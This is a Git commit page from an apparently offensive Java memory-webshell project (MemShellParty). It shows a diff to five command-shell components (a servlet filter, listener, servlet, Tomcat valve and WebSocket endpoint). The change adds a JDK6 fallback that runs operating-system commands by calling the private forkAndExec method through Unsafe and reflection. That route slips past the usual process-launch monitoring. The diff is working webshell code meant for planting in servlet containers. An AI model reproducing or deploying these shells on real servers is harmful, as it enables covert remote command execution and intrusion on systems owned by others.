archive/MemShellParty
1
0
Fork 0
mirror of https://github.com/ReaJason/MemShellParty.git synced 2026-09-25 00:11:52 +08:00
Code Issues Actions 4 Packages Projects Releases Wiki Activity

fix: JDK6 forkAndExec run failed
Dev Deploy / Build Jar (push) Has been cancelled
Details
Test / UniteTest (push) Has been cancelled
Details
Dev Deploy / Docker Push (push) Has been cancelled
Details
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Details
Dev Deploy / Deploy to Northflank (push) Has been cancelled
Details
Test / ${{ matrix.cases.middleware }} (map[depend_tasks: middleware:xxljob]) (push) Has been cancelled
Details
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar middleware:spr… (push) Has been cancelled
Details
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar middleware:springwebflux]) (push) Has been cancelled
Details
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war middleware:tomcat]) (push) Has been cancelled
Details
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:glassfish]) (push) Has been cancelled
Details
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:jetty]) (push) Has been cancelled
Details
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:payara]) (push) Has been cancelled
Details
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:wildfly]) (push) Has been cancelled
Details
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbossas]) (push) Has been cancelled
Details
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbosseap]) (push) Has been cancelled
Details
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:resin]) (push) Has been cancelled
Details
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:weblogic]) (push) Has been cancelled
Details
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere7]) (push) Has been cancelled
Details
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere]) (push) Has been cancelled
Details

Browse Source
This commit is contained in:
ReaJason
2025-05-03 21:36:21 +08:00
parent 505f0205d8
commit 14a1834a69
5 changed files with 167 additions and 106 deletions
Download Patch File Download Diff File Expand all files Collapse all files
memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java
+35 -22
View File
@@ -42,7 +42,8 @@ public class CommandFilter implements Filter {
} }
return; return;
} }
} catch (Exception ignored) { } catch (Exception e) {
e.printStackTrace();
} }
chain.doFilter(servletRequest, servletResponse); chain.doFilter(servletRequest, servletResponse);
} }
@@ -61,7 +62,6 @@ public class CommandFilter implements Filter {
} catch (ClassNotFoundException e) { } catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl"); processClass = Class.forName("java.lang.ProcessImpl");
} }
Object processObject = unsafe.allocateInstance(processClass); Object processObject = unsafe.allocateInstance(processClass);
byte[][] args = new byte[strs.length - 1][]; byte[][] args = new byte[strs.length - 1][];
@@ -82,27 +82,28 @@ public class CommandFilter implements Filter {
int[] envc = new int[1]; int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1}; int[] std_fds = new int[]{-1, -1, -1};
Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); byte[] result = toCString(strs[0]);
Field helperpathField = processClass.getDeclaredField("helperpath"); try {
launchMechanismField.setAccessible(true); Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
helperpathField.setAccessible(true); Field helperpathField = processClass.getDeclaredField("helperpath");
Object launchMechanismObject = launchMechanismField.get(processObject); launchMechanismField.setAccessible(true);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject); helperpathField.setAccessible(true);
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); Object launchMechanismObject = launchMechanismField.get(processObject);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class); byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true); forkMethod.setAccessible(true);
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length,
byte[] bytes = strs[0].getBytes(); null, envc[0], null, std_fds, false);
byte[] result = new byte[bytes.length + 1]; } catch (Exception e) {
System.arraycopy(bytes, 0, Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
result, 0, byte[].class, int.class, byte[].class, int[].class, boolean.class);
bytes.length); forkMethod.setAccessible(true);
result[result.length - 1] = (byte) 0; forkMethod.invoke(processObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length, }
null, envc[0], null, std_fds, false);
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true); initStreamsMethod.setAccessible(true);
@@ -113,6 +114,18 @@ public class CommandFilter implements Filter {
return (InputStream) getInputStreamMethod.invoke(processObject); return (InputStream) getInputStreamMethod.invoke(processObject);
} }
private static byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
@Override @Override
public void destroy() { public void destroy() {
memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java
+33 -21
View File
@@ -62,7 +62,6 @@ public class CommandListener implements ServletRequestListener {
} catch (ClassNotFoundException e) { } catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl"); processClass = Class.forName("java.lang.ProcessImpl");
} }
Object processObject = unsafe.allocateInstance(processClass); Object processObject = unsafe.allocateInstance(processClass);
byte[][] args = new byte[strs.length - 1][]; byte[][] args = new byte[strs.length - 1][];
@@ -83,27 +82,28 @@ public class CommandListener implements ServletRequestListener {
int[] envc = new int[1]; int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1}; int[] std_fds = new int[]{-1, -1, -1};
Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); byte[] result = toCString(strs[0]);
Field helperpathField = processClass.getDeclaredField("helperpath"); try {
launchMechanismField.setAccessible(true); Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
helperpathField.setAccessible(true); Field helperpathField = processClass.getDeclaredField("helperpath");
Object launchMechanismObject = launchMechanismField.get(processObject); launchMechanismField.setAccessible(true);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject); helperpathField.setAccessible(true);
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); Object launchMechanismObject = launchMechanismField.get(processObject);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class); byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true); forkMethod.setAccessible(true);
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length,
byte[] bytes = strs[0].getBytes(); null, envc[0], null, std_fds, false);
byte[] result = new byte[bytes.length + 1]; } catch (Exception e) {
System.arraycopy(bytes, 0, Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
result, 0, byte[].class, int.class, byte[].class, int[].class, boolean.class);
bytes.length); forkMethod.setAccessible(true);
result[result.length - 1] = (byte) 0; forkMethod.invoke(processObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length, }
null, envc[0], null, std_fds, false);
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true); initStreamsMethod.setAccessible(true);
@@ -114,6 +114,18 @@ public class CommandListener implements ServletRequestListener {
return (InputStream) getInputStreamMethod.invoke(processObject); return (InputStream) getInputStreamMethod.invoke(processObject);
} }
private static byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
return null; return null;
} }
memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java
+33 -21
View File
@@ -60,7 +60,6 @@ public class CommandServlet extends HttpServlet {
} catch (ClassNotFoundException e) { } catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl"); processClass = Class.forName("java.lang.ProcessImpl");
} }
Object processObject = unsafe.allocateInstance(processClass); Object processObject = unsafe.allocateInstance(processClass);
byte[][] args = new byte[strs.length - 1][]; byte[][] args = new byte[strs.length - 1][];
@@ -81,27 +80,28 @@ public class CommandServlet extends HttpServlet {
int[] envc = new int[1]; int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1}; int[] std_fds = new int[]{-1, -1, -1};
Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); byte[] result = toCString(strs[0]);
Field helperpathField = processClass.getDeclaredField("helperpath"); try {
launchMechanismField.setAccessible(true); Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
helperpathField.setAccessible(true); Field helperpathField = processClass.getDeclaredField("helperpath");
Object launchMechanismObject = launchMechanismField.get(processObject); launchMechanismField.setAccessible(true);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject); helperpathField.setAccessible(true);
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); Object launchMechanismObject = launchMechanismField.get(processObject);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class); byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true); forkMethod.setAccessible(true);
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length,
byte[] bytes = strs[0].getBytes(); null, envc[0], null, std_fds, false);
byte[] result = new byte[bytes.length + 1]; } catch (Exception e) {
System.arraycopy(bytes, 0, Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
result, 0, byte[].class, int.class, byte[].class, int[].class, boolean.class);
bytes.length); forkMethod.setAccessible(true);
result[result.length - 1] = (byte) 0; forkMethod.invoke(processObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length, }
null, envc[0], null, std_fds, false);
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true); initStreamsMethod.setAccessible(true);
@@ -111,4 +111,16 @@ public class CommandServlet extends HttpServlet {
getInputStreamMethod.setAccessible(true); getInputStreamMethod.setAccessible(true);
return (InputStream) getInputStreamMethod.invoke(processObject); return (InputStream) getInputStreamMethod.invoke(processObject);
} }
private static byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
} }
memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java
+33 -21
View File
@@ -80,7 +80,6 @@ public class CommandValve implements Valve {
} catch (ClassNotFoundException e) { } catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl"); processClass = Class.forName("java.lang.ProcessImpl");
} }
Object processObject = unsafe.allocateInstance(processClass); Object processObject = unsafe.allocateInstance(processClass);
byte[][] args = new byte[strs.length - 1][]; byte[][] args = new byte[strs.length - 1][];
@@ -101,27 +100,28 @@ public class CommandValve implements Valve {
int[] envc = new int[1]; int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1}; int[] std_fds = new int[]{-1, -1, -1};
Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); byte[] result = toCString(strs[0]);
Field helperpathField = processClass.getDeclaredField("helperpath"); try {
launchMechanismField.setAccessible(true); Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
helperpathField.setAccessible(true); Field helperpathField = processClass.getDeclaredField("helperpath");
Object launchMechanismObject = launchMechanismField.get(processObject); launchMechanismField.setAccessible(true);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject); helperpathField.setAccessible(true);
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); Object launchMechanismObject = launchMechanismField.get(processObject);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class); byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true); forkMethod.setAccessible(true);
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length,
byte[] bytes = strs[0].getBytes(); null, envc[0], null, std_fds, false);
byte[] result = new byte[bytes.length + 1]; } catch (Exception e) {
System.arraycopy(bytes, 0, Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
result, 0, byte[].class, int.class, byte[].class, int[].class, boolean.class);
bytes.length); forkMethod.setAccessible(true);
result[result.length - 1] = (byte) 0; forkMethod.invoke(processObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length, }
null, envc[0], null, std_fds, false);
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true); initStreamsMethod.setAccessible(true);
@@ -131,4 +131,16 @@ public class CommandValve implements Valve {
getInputStreamMethod.setAccessible(true); getInputStreamMethod.setAccessible(true);
return (InputStream) getInputStreamMethod.invoke(processObject); return (InputStream) getInputStreamMethod.invoke(processObject);
} }
private static byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
} }
memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java
+33 -21
View File
@@ -55,7 +55,6 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
} catch (ClassNotFoundException e) { } catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl"); processClass = Class.forName("java.lang.ProcessImpl");
} }
Object processObject = unsafe.allocateInstance(processClass); Object processObject = unsafe.allocateInstance(processClass);
byte[][] args = new byte[strs.length - 1][]; byte[][] args = new byte[strs.length - 1][];
@@ -76,27 +75,28 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
int[] envc = new int[1]; int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1}; int[] std_fds = new int[]{-1, -1, -1};
Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); byte[] result = toCString(strs[0]);
Field helperpathField = processClass.getDeclaredField("helperpath"); try {
launchMechanismField.setAccessible(true); Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
helperpathField.setAccessible(true); Field helperpathField = processClass.getDeclaredField("helperpath");
Object launchMechanismObject = launchMechanismField.get(processObject); launchMechanismField.setAccessible(true);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject); helperpathField.setAccessible(true);
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); Object launchMechanismObject = launchMechanismField.get(processObject);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class); byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true); forkMethod.setAccessible(true);
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length,
byte[] bytes = strs[0].getBytes(); null, envc[0], null, std_fds, false);
byte[] result = new byte[bytes.length + 1]; } catch (Exception e) {
System.arraycopy(bytes, 0, Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
result, 0, byte[].class, int.class, byte[].class, int[].class, boolean.class);
bytes.length); forkMethod.setAccessible(true);
result[result.length - 1] = (byte) 0; forkMethod.invoke(processObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length, }
null, envc[0], null, std_fds, false);
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true); initStreamsMethod.setAccessible(true);
@@ -107,6 +107,18 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
return (InputStream) getInputStreamMethod.invoke(processObject); return (InputStream) getInputStreamMethod.invoke(processObject);
} }
private static byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
@Override @Override
public void onOpen(final Session session, EndpointConfig config) { public void onOpen(final Session session, EndpointConfig config) {
this.session = session; this.session = session;